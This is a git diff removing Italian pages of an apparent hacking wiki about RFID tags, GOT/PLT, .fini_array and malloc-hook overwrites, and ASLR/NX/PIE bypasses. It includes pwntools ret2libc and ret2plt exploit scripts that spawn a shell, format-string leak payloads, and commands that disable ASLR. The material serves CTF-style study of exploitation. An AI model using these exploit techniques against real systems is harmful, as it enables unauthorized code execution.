-Questi dispositivi si basano sulla tecnologia **RFID passiva** e operano in un **intervallo di 30 kHz a 300 kHz**, anche se è più comune utilizzare 125 kHz a 134 kHz:
-
-- **Lunga distanza** — una frequenza più bassa si traduce in una maggiore portata. Ci sono alcuni lettori EM-Marin e HID, che funzionano da una distanza di fino a un metro. Questi sono spesso utilizzati nel parcheggio.
-- **Protocollo primitivo** — a causa della bassa velocità di trasferimento dati, questi tag possono trasmettere solo il loro breve ID. Nella maggior parte dei casi, i dati non sono autenticati e non sono protetti in alcun modo. Non appena la carta è nel raggio del lettore, inizia semplicemente a trasmettere il suo ID.
-- **Bassa sicurezza** — Queste carte possono essere facilmente copiate, o anche lette dalla tasca di qualcun altro a causa della primitività del protocollo.
-
-**Protocollo 125 kHz popolari:**
-
-- **EM-Marin** — EM4100, EM4102. Il protocollo più popolare nella CIS. Può essere letto da circa un metro grazie alla sua semplicità e stabilità.
-- **HID Prox II** — protocollo a bassa frequenza introdotto da HID Global. Questo protocollo è più popolare nei paesi occidentali. È più complesso e le carte e i lettori per questo protocollo sono relativamente costosi.
-- **Indala** — protocollo a bassa frequenza molto vecchio introdotto da Motorola, e successivamente acquisito da HID. È meno probabile che tu lo incontri in natura rispetto ai precedenti due perché sta cadendo in disuso.
-
-In realtà, ci sono molti più protocolli a bassa frequenza. Ma utilizzano tutti la stessa modulazione sul livello fisico e possono essere considerati, in un modo o nell'altro, una variazione di quelli elencati sopra.
-
-### Attacco
-
-Puoi **attaccare questi Tag con il Flipper Zero**:
-
-{{#ref}}
-../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
-{{#endref}}
-
-## Tag RFID ad Alta Frequenza (13.56 MHz)
-
-I **tag ad alta frequenza** sono utilizzati per un'interazione più complessa tra lettore e tag quando hai bisogno di crittografia, un ampio trasferimento dati bidirezionale, autenticazione, ecc.\
-Si trova solitamente in carte bancarie, trasporti pubblici e altri passaggi sicuri.
-
-I **tag ad alta frequenza 13.56 MHz sono un insieme di standard e protocolli**. Vengono solitamente chiamati [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ma non è sempre corretto. L'insieme di protocolli di base utilizzato a livello fisico e logico è ISO 14443. I protocolli di alto livello, così come gli standard alternativi (come ISO 19092), si basano su di esso. Molte persone si riferiscono a questa tecnologia come **Near Field Communication (NFC)**, un termine per dispositivi che operano sulla frequenza di 13.56 MHz.
-
-

-
-Per semplificare, l'architettura NFC funziona in questo modo: il protocollo di trasmissione è scelto dall'azienda che produce le carte e implementato sulla base del livello ISO 14443. Ad esempio, NXP ha inventato il proprio protocollo di trasmissione di alto livello chiamato Mifare. Ma a livello inferiore, le carte Mifare si basano sullo standard ISO 14443-A.
-
-Flipper può interagire sia con il protocollo ISO 14443 di basso livello, sia con il protocollo di trasferimento dati Mifare Ultralight e EMV utilizzato nelle carte bancarie. Stiamo lavorando per aggiungere supporto per Mifare Classic e NFC NDEF. Un'analisi approfondita dei protocolli e degli standard che compongono l'NFC merita un articolo separato che prevediamo di pubblicare in seguito.
-
-Tutte le carte ad alta frequenza basate sullo standard ISO 14443-A hanno un ID chip unico. Funziona come il numero di serie della carta, come l'indirizzo MAC di una scheda di rete. **Di solito, l'UID è lungo 4 o 7 byte**, ma può raramente arrivare **fino a 10**. Gli UID non sono un segreto e sono facilmente leggibili, **a volte anche stampati sulla carta stessa**.
-
-Ci sono molti sistemi di controllo accessi che si basano sull'UID per **autenticare e concedere accesso**. A volte questo avviene **anche** quando i tag RFID **supportano la crittografia**. Tale **uso improprio** li riduce al livello delle stupide **carte da 125 kHz** in termini di **sicurezza**. Le carte virtuali (come Apple Pay) utilizzano un UID dinamico in modo che i proprietari dei telefoni non possano aprire porte con la loro app di pagamento.
-
-- **Bassa portata** — le carte ad alta frequenza sono specificamente progettate per essere posizionate vicino al lettore. Questo aiuta anche a proteggere la carta da interazioni non autorizzate. La massima portata di lettura che siamo riusciti a raggiungere è stata di circa 15 cm, e ciò è avvenuto con lettori ad alta portata realizzati su misura.
-- **Protocolli avanzati** — velocità di trasferimento dati fino a 424 kbps consentono protocolli complessi con trasferimento dati bidirezionale completo. Che a sua volta **consente la crittografia**, il trasferimento di dati, ecc.
-- **Alta sicurezza** — le carte contactless ad alta frequenza non sono in alcun modo inferiori alle smart card. Ci sono carte che supportano algoritmi crittografici robusti come AES e implementano crittografia asimmetrica.
-
-### Attacco
-
-Puoi **attaccare questi Tag con il Flipper Zero**:
-
-{{#ref}}
-../todo/radio-hacking/flipper-zero/fz-nfc.md
-{{#endref}}
-
-Oppure usando il **proxmark**:
-
-{{#ref}}
-../todo/radio-hacking/proxmark-3.md
-{{#endref}}
-
-## Riferimenti
-
-- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md
deleted file mode 100644
index c9fd207eb..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md
+++ /dev/null
@@ -1 +0,0 @@
-# Scrittura Arbitraria 2 Exec
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
deleted file mode 100644
index 81c1abc5b..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# AW2Exec - \_\_malloc_hook
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## **Malloc Hook**
-
-Come indicato nel [sito ufficiale GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()`, **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget**, ad esempio, e viene chiamato `malloc`, il **One Gadget verrà chiamato**.
-
-Per chiamare malloc è possibile attendere che il programma lo chiami o **chiamando `printf("%10000$c")`**, che alloca troppi byte, facendo sì che `libc` chiami malloc per allocarli nello heap.
-
-Ulteriori informazioni su One Gadget in:
-
-{{#ref}}
-../one-gadget.md
-{{#endref}}
-
-> [!CAUTION]
-> Nota che i hook sono **disabilitati per GLIBC >= 2.34**. Ci sono altre tecniche che possono essere utilizzate su versioni moderne di GLIBC. Vedi [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
-
-## References
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
-- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md
deleted file mode 100644
index ab1ccd97b..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md
+++ /dev/null
@@ -1,64 +0,0 @@
-# AW2Exec - GOT/PLT
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## **Informazioni di Base**
-
-### **GOT: Tabella degli Offset Globale**
-
-La **Tabella degli Offset Globale (GOT)** è un meccanismo utilizzato nei binari collegati dinamicamente per gestire gli **indirizzi delle funzioni esterne**. Poiché questi **indirizzi non sono noti fino al runtime** (a causa del collegamento dinamico), la GOT fornisce un modo per **aggiornare dinamicamente gli indirizzi di questi simboli esterni** una volta risolti.
-
-Ogni voce nella GOT corrisponde a un simbolo nelle librerie esterne che il binario può chiamare. Quando una **funzione viene chiamata per la prima volta, il suo indirizzo effettivo viene risolto dal linker dinamico e memorizzato nella GOT**. Le chiamate successive alla stessa funzione utilizzano l'indirizzo memorizzato nella GOT, evitando così il sovraccarico di risolvere nuovamente l'indirizzo.
-
-### **PLT: Tabella di Collegamento delle Procedure**
-
-La **Tabella di Collegamento delle Procedure (PLT)** lavora a stretto contatto con la GOT e funge da trampolino per gestire le chiamate a funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a una voce nella PLT associata a quella funzione**. Questa voce PLT è responsabile dell'invocazione del linker dinamico per risolvere l'indirizzo della funzione se non è già stato risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella GOT.
-
-**Pertanto,** le voci della GOT vengono utilizzate direttamente una volta che l'indirizzo di una funzione o variabile esterna è stato risolto. **Le voci PLT vengono utilizzate per facilitare la risoluzione iniziale** di questi indirizzi tramite il linker dinamico.
-
-## Ottieni Esecuzione
-
-### Controlla la GOT
-
-Ottieni l'indirizzo della tabella GOT con: **`objdump -s -j .got ./exec`**
-
-![](<../../../images/image (619).png>)
-
-Osserva come dopo **il caricamento** dell'**eseguibile** in GEF puoi **vedere** le **funzioni** che sono nella **GOT**: `gef➤ x/20x 0xADDR_GOT`
-
-![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
-
-Utilizzando GEF puoi **iniziare** una **sessione di debug** ed eseguire **`got`** per vedere la tabella got:
-
-![](<../../../images/image (621).png>)
-
-### GOT2Exec
-
-In un binario la GOT ha gli **indirizzi delle funzioni o** della **sezione PLT** che caricherà l'indirizzo della funzione. L'obiettivo di questa scrittura arbitraria è **sovrascrivere una voce GOT** di una funzione che verrà eseguita successivamente **con** l'**indirizzo** della PLT della **funzione** **`system`** per esempio.
-
-Idealmente, dovresti **sovrascrivere** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (quindi sarai in grado di controllare i parametri inviati alla funzione di sistema).
-
-Se **`system`** **non viene utilizzato** dallo script, la funzione di sistema **non avrà** un'entrata nella PLT. In questo scenario, dovrai **prima fare leak dell'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo.
-
-Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`**
-
-## **One Gadget**
-
-{{#ref}}
-../one-gadget.md
-{{#endref}}
-
-## **Protezioni**
-
-La protezione **Full RELRO** è progettata per proteggere contro questo tipo di tecnica risolvendo tutti gli indirizzi delle funzioni quando il binario viene avviato e rendendo la **tabella GOT di sola lettura** dopo:
-
-{{#ref}}
-../common-binary-protections-and-bypasses/relro.md
-{{#endref}}
-
-## Riferimenti
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
-- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md
deleted file mode 100644
index 35541e09b..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# AWS2Exec - .dtors & .fini_array
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## .dtors
-
-> [!CAUTION]
-> Oggigiorno è molto **strano trovare un binario con una sezione .dtors**.
-
-I distruttori sono funzioni che vengono **eseguite prima che il programma finisca** (dopo che la funzione `main` restituisce).\
-Gli indirizzi di queste funzioni sono memorizzati all'interno della sezione **`.dtors`** del binario e quindi, se riesci a **scrivere** l'**indirizzo** in un **shellcode** in **`__DTOR_END__`**, questo sarà **eseguito** prima che il programma termini.
-
-Ottieni l'indirizzo di questa sezione con:
-```bash
-objdump -s -j .dtors /exec
-rabin -s /exec | grep “__DTOR”
-```
-Di solito troverai i marcatori **DTOR** **tra** i valori `ffffffff` e `00000000`. Quindi, se vedi solo quei valori, significa che **non c'è alcuna funzione registrata**. Quindi **sovrascrivi** il **`00000000`** con l'**indirizzo** del **shellcode** per eseguirlo.
-
-> [!WARNING]
-> Ovviamente, devi prima trovare un **luogo per memorizzare il shellcode** per poterlo chiamare successivamente.
-
-## **.fini_array**
-
-Essenzialmente, questa è una struttura con **funzioni che verranno chiamate** prima che il programma finisca, come **`.dtors`**. Questo è interessante se puoi chiamare il tuo **shellcode semplicemente saltando a un indirizzo**, o nei casi in cui devi tornare di nuovo a **`main`** per **sfruttare la vulnerabilità una seconda volta**.
-```bash
-objdump -s -j .fini_array ./greeting
-
-./greeting:     file format elf32-i386
-
-Contents of section .fini_array:
-8049934 a0850408
-
-#Put your address in 0x8049934
-```
-Nota che questo **non** **creerà** un **loop eterno** perché quando torni a main il canary lo noterà, la fine dello stack potrebbe essere corrotta e la funzione non verrà richiamata di nuovo. Quindi con questo sarai in grado di **avere 1 esecuzione in più** della vulnerabilità.
-
-> [!CAUTION]
-> Nota che con [Full RELRO](../common-binary-protections-and-bypasses/relro.md), la sezione `.fini_array` è resa **sola lettura**.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md
deleted file mode 100644
index f673640ec..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# Protezioni Binari Comuni
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Abilitare i file di Core
-
-I **file di Core** sono un tipo di file generato da un sistema operativo quando un processo si arresta in modo anomalo. Questi file catturano l'immagine della memoria del processo arrestato al momento della sua terminazione, inclusi la memoria del processo, i registri e lo stato del contatore di programma, tra i vari dettagli. Questo snapshot può essere estremamente prezioso per il debug e per comprendere perché si è verificato l'arresto anomalo.
-
-### **Abilitare la Generazione di Core Dump**
-
-Per impostazione predefinita, molti sistemi limitano la dimensione dei file di core a 0 (cioè, non generano file di core) per risparmiare spazio su disco. Per abilitare la generazione di file di core, puoi utilizzare il comando `ulimit` (in bash o shell simili) o configurare impostazioni a livello di sistema.
-
-- **Utilizzando ulimit**: Il comando `ulimit -c unlimited` consente alla sessione della shell corrente di creare file di core di dimensioni illimitate. Questo è utile per le sessioni di debug ma non è persistente tra i riavvii o le nuove sessioni.
-```bash
-ulimit -c unlimited
-```
-- **Configurazione Persistente**: Per una soluzione più permanente, puoi modificare il file `/etc/security/limits.conf` per includere una riga come `* soft core unlimited`, che consente a tutti gli utenti di generare file core di dimensioni illimitate senza dover impostare manualmente ulimit nelle loro sessioni.
-```markdown
-- soft core unlimited
-```
-### **Analizzare i file core con GDB**
-
-Per analizzare un file core, puoi utilizzare strumenti di debug come GDB (il debugger GNU). Supponendo di avere un eseguibile che ha prodotto un core dump e il file core si chiama `core_file`, puoi iniziare l'analisi con:
-```bash
-gdb /path/to/executable /path/to/core_file
-```
-Questo comando carica l'eseguibile e il file di core in GDB, permettendoti di ispezionare lo stato del programma al momento del crash. Puoi utilizzare i comandi di GDB per esplorare lo stack, esaminare le variabili e comprendere la causa del crash.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
deleted file mode 100644
index 036c40471..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
+++ /dev/null
@@ -1,157 +0,0 @@
-# ASLR
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Informazioni di Base
-
-**Address Space Layout Randomization (ASLR)** è una tecnica di sicurezza utilizzata nei sistemi operativi per **randomizzare gli indirizzi di memoria** utilizzati dai processi di sistema e applicazione. In questo modo, rende significativamente più difficile per un attaccante prevedere la posizione di processi e dati specifici, come lo stack, l'heap e le librerie, mitigando così alcuni tipi di exploit, in particolare i buffer overflow.
-
-### **Controllare lo Stato di ASLR**
-
-Per **controllare** lo stato di ASLR su un sistema Linux, puoi leggere il valore dal file `/proc/sys/kernel/randomize_va_space`. Il valore memorizzato in questo file determina il tipo di ASLR applicato:
-
-- **0**: Nessuna randomizzazione. Tutto è statico.
-- **1**: Randomizzazione conservativa. Le librerie condivise, lo stack, mmap(), la pagina VDSO sono randomizzati.
-- **2**: Randomizzazione completa. Oltre agli elementi randomizzati dalla randomizzazione conservativa, la memoria gestita tramite `brk()` è randomizzata.
-
-Puoi controllare lo stato di ASLR con il seguente comando:
-```bash
-cat /proc/sys/kernel/randomize_va_space
-```
-### **Disabilitare ASLR**
-
-Per **disabilitare** ASLR, imposta il valore di `/proc/sys/kernel/randomize_va_space` a **0**. Disabilitare ASLR non è generalmente raccomandato al di fuori di scenari di test o debug. Ecco come puoi disabilitarlo:
-```bash
-echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
-```
-Puoi anche disabilitare ASLR per un'esecuzione con:
-```bash
-setarch `arch` -R ./bin args
-setarch `uname -m` -R ./bin args
-```
-### **Abilitare ASLR**
-
-Per **abilitare** ASLR, puoi scrivere un valore di **2** nel file `/proc/sys/kernel/randomize_va_space`. Questo richiede tipicamente privilegi di root. L'abilitazione della randomizzazione completa può essere effettuata con il seguente comando:
-```bash
-echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
-```
-### **Persistenza tra i Riavvii**
-
-Le modifiche apportate con i comandi `echo` sono temporanee e verranno ripristinate al riavvio. Per rendere la modifica persistente, è necessario modificare il file `/etc/sysctl.conf` e aggiungere o modificare la seguente riga:
-```tsconfig
-kernel.randomize_va_space=2 # Enable ASLR
-# or
-kernel.randomize_va_space=0 # Disable ASLR
-```
-Dopo aver modificato `/etc/sysctl.conf`, applica le modifiche con:
-```bash
-sudo sysctl -p
-```
-Questo garantirà che le impostazioni ASLR rimangano attive dopo i riavvii.
-
-## **Bypass**
-
-### Forzatura brute-force a 32 bit
-
-PaX divide lo spazio degli indirizzi del processo in **3 gruppi**:
-
-- **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data` e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile è inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali.
-- **Memoria** allocata da `mmap()` e **librerie condivise** —> **16 bit**, chiamata `delta_mmap`.
-- **Lo stack** —> **24 bit**, riferito come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal 10° al 20° byte inclusi), allineati a **16 byte** —> Questo porta a **524.288 possibili indirizzi reali dello stack**.
-
-I dati precedenti sono per sistemi a 32 bit e l'entropia finale ridotta rende possibile bypassare ASLR riprovando l'esecuzione più e più volte fino a quando l'exploit non viene completato con successo.
-
-#### Idee di brute-force:
-
-- Se hai un overflow abbastanza grande da ospitare un **grande NOP sled prima del shellcode**, potresti semplicemente forzare gli indirizzi nello stack fino a quando il flusso **salta oltre una parte del NOP sled**.
-- Un'altra opzione per questo, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito localmente, è possibile **aggiungere il NOP sled e il shellcode in una variabile d'ambiente**.
-- Se l'exploit è locale, puoi provare a forzare l'indirizzo base di libc (utile per sistemi a 32 bit):
-```python
-for off in range(0xb7000000, 0xb8000000, 0x1000):
-```
-- Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `libc` `usleep`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione.
-
-> [!TIP]
-> Nei sistemi a 64 bit, l'entropia è molto più alta e questo non è possibile.
-
-### Informazioni Locali (`/proc/[pid]/stat`)
-
-Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da tutti e **contiene informazioni interessanti** come:
-
-- **startcode** & **endcode**: Indirizzi sopra e sotto con il **TESTO** del binario
-- **startstack**: L'indirizzo dell'inizio dello **stack**
-- **start_data** & **end_data**: Indirizzi sopra e sotto dove si trova il **BSS**
-- **kstkesp** & **kstkeip**: Indirizzi attuali di **ESP** e **EIP**
-- **arg_start** & **arg_end**: Indirizzi sopra e sotto dove si trovano gli **argomenti cli**.
-- **env_start** & **env_end**: Indirizzi sopra e sotto dove si trovano le **variabili d'ambiente**.
-
-Pertanto, se l'attaccante si trova sullo stesso computer del binario che viene sfruttato e questo binario non si aspetta il overflow da argomenti grezzi, ma da un diverso **input che può essere creato dopo aver letto questo file**. È possibile per un attaccante **ottenere alcuni indirizzi da questo file e costruire offset da essi per l'exploit**.
-
-> [!TIP]
-> Per ulteriori informazioni su questo file, controlla [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) cercando `/proc/pid/stat`
-
-### Avere una leak
-
-- **La sfida è fornire una leak**
-
-Se ti viene fornita una leak (sfide CTF facili), puoi calcolare offset da essa (supponendo ad esempio che tu conosca la versione esatta di libc utilizzata nel sistema che stai sfruttando). Questo esempio di exploit è estratto da [**esempio da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (controlla quella pagina per ulteriori dettagli):
-```python
-from pwn import *
-
-elf = context.binary = ELF('./vuln-32')
-libc = elf.libc
-p = process()
-
-p.recvuntil('at: ')
-system_leak = int(p.recvline(), 16)
-
-libc.address = system_leak - libc.sym['system']
-log.success(f'LIBC base: {hex(libc.address)}')
-
-payload = flat(
-'A' * 32,
-libc.sym['system'],
-0x0,        # return address
-next(libc.search(b'/bin/sh'))
-)
-
-p.sendline(payload)
-
-p.interactive()
-```
-- **ret2plt**
-
-Abusando di un buffer overflow sarebbe possibile sfruttare un **ret2plt** per esfiltrare un indirizzo di una funzione dalla libc. Controlla:
-
-{{#ref}}
-ret2plt.md
-{{#endref}}
-
-- **Format Strings Arbitrary Read**
-
-Proprio come in ret2plt, se hai una lettura arbitraria tramite una vulnerabilità delle stringhe di formato è possibile esfiltrare l'indirizzo di una **funzione libc** dal GOT. Il seguente [**esempio è qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
-```python
-payload = p32(elf.got['puts'])  # p64() if 64-bit
-payload += b'|'
-payload += b'%3$s'              # The third parameter points at the start of the buffer
-
-# this part is only relevant if you need to call the main function again
-
-payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
-payload += p32(elf.symbols['main'])
-```
-Puoi trovare ulteriori informazioni su Format Strings lettura arbitraria in:
-
-{{#ref}}
-../../format-strings/
-{{#endref}}
-
-### Ret2ret & Ret2pop
-
-Prova a bypassare ASLR abusando degli indirizzi all'interno dello stack:
-
-{{#ref}}
-../../stack-overflow/ret2ret.md
-{{#endref}}
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
deleted file mode 100644
index 77350589b..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
+++ /dev/null
@@ -1,78 +0,0 @@
-# Ret2plt
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Informazioni di base
-
-L'obiettivo di questa tecnica sarebbe **leakare un indirizzo da una funzione del PLT** per poter bypassare ASLR. Questo perché, se ad esempio, leakate l'indirizzo della funzione `puts` dalla libc, potete poi **calcolare dove si trova la base di `libc`** e calcolare gli offset per accedere ad altre funzioni come **`system`**.
-
-Questo può essere fatto con un payload `pwntools` come ([**da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
-```python
-# 32-bit ret2plt
-payload = flat(
-b'A' * padding,
-elf.plt['puts'],
-elf.symbols['main'],
-elf.got['puts']
-)
-
-# 64-bit
-payload = flat(
-b'A' * padding,
-POP_RDI,
-elf.got['puts']
-elf.plt['puts'],
-elf.symbols['main']
-)
-```
-Nota come **`puts`** (utilizzando l'indirizzo dal PLT) venga chiamato con l'indirizzo di `puts` situato nel GOT (Global Offset Table). Questo perché, quando `puts` stampa l'entry del GOT di `puts`, questa **entry conterrà l'indirizzo esatto di `puts` in memoria**.
-
-Nota anche come l'indirizzo di `main` venga utilizzato nell'exploit, così quando `puts` termina la sua esecuzione, il **binary chiama di nuovo `main` invece di uscire** (quindi l'indirizzo leak continuerà a essere valido).
-
-> [!CAUTION]
-> Nota come, affinché questo funzioni, il **binary non può essere compilato con PIE** oppure devi aver **trovato un leak per bypassare PIE** per conoscere l'indirizzo del PLT, GOT e `main`. Altrimenti, devi prima bypassare PIE.
-
-Puoi trovare un [**esempio completo di questo bypass qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Questo era l'exploit finale di quell'esempio:
-```python
-from pwn import *
-
-elf = context.binary = ELF('./vuln-32')
-libc = elf.libc
-p = process()
-
-p.recvline()
-
-payload = flat(
-'A' * 32,
-elf.plt['puts'],
-elf.sym['main'],
-elf.got['puts']
-)
-
-p.sendline(payload)
-
-puts_leak = u32(p.recv(4))
-p.recvlines(2)
-
-libc.address = puts_leak - libc.sym['puts']
-log.success(f'LIBC base: {hex(libc.address)}')
-
-payload = flat(
-'A' * 32,
-libc.sym['system'],
-libc.sym['exit'],
-next(libc.search(b'/bin/sh\x00'))
-)
-
-p.sendline(payload)
-
-p.interactive()
-```
-## Altri esempi e Riferimenti
-
-- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
-- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')`
-- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
-- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un gadget one. 
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md
deleted file mode 100644
index 4d5a8f69d..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# No-exec / NX
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informazioni di base
-
-Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzione di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato e abilitato, distingue tra le regioni di memoria destinate a **codice eseguibile** e quelle destinate a **dati**, come lo **stack** e l'**heap**. L'idea principale è quella di impedire a un attaccante di eseguire codice malevolo attraverso vulnerabilità di buffer overflow, mettendo ad esempio il codice malevolo nello stack e dirigendo il flusso di esecuzione verso di esso.
-
-## Bypass
-
-- È possibile utilizzare tecniche come [**ROP**](../stack-overflow/rop-return-oriented-programing.md) per bypassare questa protezione eseguendo porzioni di codice eseguibile già presenti nel binario.
-- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
-- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
-- **Ret2...**
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md
deleted file mode 100644
index a8f106cc2..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# PIE
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Informazioni di base
-
-Un binario compilato come PIE, o **Position Independent Executable**, significa che il **programma può essere caricato in diverse posizioni di memoria** ogni volta che viene eseguito, prevenendo indirizzi hardcoded.
-
-Il trucco per sfruttare questi binari sta nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**.
-
